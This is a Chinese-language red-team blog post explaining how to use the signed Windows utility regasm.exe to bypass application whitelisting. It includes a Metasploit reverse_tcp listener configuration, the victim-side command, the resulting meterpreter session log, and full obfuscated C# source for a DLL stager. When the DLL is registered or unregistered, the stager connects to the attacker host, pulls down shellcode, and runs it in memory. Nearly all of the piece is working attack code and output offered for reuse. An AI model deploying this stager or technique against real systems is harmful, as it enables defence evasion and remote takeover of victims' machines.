专注APT攻击与防御
https://micropoor.blogspot.com/

Regasm简介：
Regasm为程序集注册工具，读取程序集中的元数据，并将所需的项添加到注册表中。RegAsm.exe是Microsoft Corporation开发的合法文件进程。它与Microsoft.NET Assembly Registration Utility相关联。

说明：Regasm.exe所在路径没有被系统添加PATH环境变量中，因此，REGASM命令无法识别。

具体参考微软官方文档：
https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool

基于白名单Regasm.exe配置payload：

Windows 7 默认位置：

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
```

攻击机：192.168.1.4 Debian
靶机： 192.168.1.3 Windows 7

配置攻击机msf：

```
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.4      yes       The listen address
   LPORT     53               yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53
```

靶机执行：

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U Micropoor.dll
```

```
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.3
[*] Sleeping before handling stage...
[*] Meterpreter session 11 opened (192.168.1.4:53 -> 192.168.1.3:21277) at 2019-01-15 09:23:21

meterpreter > getuid
Server username: John-PC\John
meterpreter > getpid
Current pid: 9956
meterpreter >
```

```
C:\Windows\system32\cmd.exe - C:\Windows\Microsoft.NET\Framework\v4.0.30319\rega...

C:\Users\John\Desktop>C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regasm.dll
Microsoft .NET Framework 程序集注册实用工具版本 4.7.3062.0
(适用于 Microsoft .NET Framework 版本 4.7.3062.0)
版权所有 (C) Microsoft Corporation。保留所有权利。
```

附录：Micropoor.cs

注：x86 payload

```
using System; using System.Net; using System.Linq; using System.Net.So
ckets; using System.Runtime.InteropServices; using System.Threading; usi
g System.EnterpriseServices; using System.Windows.Forms;
namespace HYlDKsYF
 {
 public class kxKhdVzWQXolmmF : ServicedComponent {

 public kxKhdVzWQXolmmF() { Console.WriteLine("doge"); }

 [ComRegisterFunction]
 public static void RegisterClass ( string pNNHrTZzW )
  {
  ZApOAKJKY.QYJOTklTwn();
  }

[ComUnregisterFunction]
  public static void UnRegisterClass ( string pNNHrTZzW )
  {
  ZApOAKJKY.QYJOTklTwn();
  }
  }

  public class ZApOAKJKY
  { [DllImport("kernel32")] private static extern UInt32 HeapCreate(UIn
t32 FJyyNB, UInt32 fwtsYaiizj, UInt32 dHJhaXQiaqW);
 [DllImport("kernel32")] private static extern UInt32 HeapAlloc(UInt32
bqtaDNfVCzVox, UInt32 hjDFdZuT, UInt32 JAVAYBFdojxsgo);
 [DllImport("kernel32")] private static extern UInt32 RtlMoveMemory(UIn
t32 AQdEyOhn, byte[] wknmfaRmoElGo, UInt32 yRXPRezIkcorSOo);
 [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt
32 uQgiOlrrBaR, UInt32 BxkWKqEKnp, UInt32 lelfRubuprxr, IntPtr qPzVKjdiF,
UInt32 kNXJcS, ref UInt32 atiLJcRPnhfyGvp);
 [DllImport("kernel32")] private static extern UInt32 WaitForSingleObje
ct(IntPtr XSjyzoKzGmuIOcD, UInt32 VumUGj);static byte[] HMSjEXjuIzkkmo(st
ring aCWWUttzmy, int iJGvqiEDGLhjr) {
  IPEndPoint YUXVAnzAurxH = new IPEndPoint(IPAddress.Parse(aCWWUttzmy),
iJGvqiEDGLhjr);
  Socket MXCEuiuRIWgOYze = new Socket(AddressFamily.InterNetwork, Socke
tType.Stream, ProtocolType.Tcp);
  try { MXCEuiuRIWgOYze.Connect(YUXVAnzAurxH); }
  catch { return null;}
  byte[] Bjpvhc = new byte[4];
  MXCEuiuRIWgOYze.Receive(Bjpvhc, 4, 0);
```

```
  int IETFBI = BitConverter.ToInt32(Bjpvhc, 0);
  byte[] ZKSAAFwxgSDnTW = new byte[IETFBI + 5];
  int JFPJLlk = 0;
  while (JFPJLlk < IETFBI)
  { JFPJLlk += MXCEuiuRIWgOYze.Receive(ZKSAAFwxgSDnTW, JFPJLlk + 5, (IE
TFBI - JFPJLlk) < 4096 ? (IETFBI - JFPJLlk) : 4096, 0);}
  byte[] nXRztzNVwPavq = BitConverter.GetBytes((int)MXCEuiuRIWgOYze.Har
dle);
  Array.Copy(nXRztzNVwPavq, 0, ZKSAAFwxgSDnTW, 1, 4); ZKSAAFwxgSDnTW[0]
= 0xBF;
  return ZKSAAFwxgSDnTW;}
 static void TOdKEwPYRUgJly(byte[] KNCtlJWAmlqJ) {
  if (KNCtlJWAmlqJ != null) {
  UInt32 uuKxFZFwog = HeapCreate(0x00040000, (UInt32)KNCtlJWAmlqJ.Lengt
h, 0);
  UInt32 sDPjIMhJIOAlwn = HeapAlloc(uuKxFZFwog, 0x00000008, (UInt32)KNC
tlJWAmlqJ.Length);
  RtlMoveMemory(sDPjIMhJIOAlwn, KNCtlJWAmlqJ, (UInt32)KNCtlJWAmlqJ.Leng
th);
  UInt32 ijifOEfllRl = 0;
  IntPtr ihXuoEirmz = CreateThread(0, 0, sDPjIMhJIOAlwn, IntPtr.Zero,
0, ref ijifOEfllRl);
  WaitForSingleObject(ihXuoEirmz, 0xFFFFFFFF);}}

  public static void QYJOTklTwn() {
  byte[] ZKSAAFwxgSDnTW = null; ZKSAAFwxgSDnTW = HMSjEXjuIzkkmo("192.16
8.1.4", 53);
  TOdKEwPYRUgJly(ZKSAAFwxgSDnTW);
  } } }
```

- Micropoor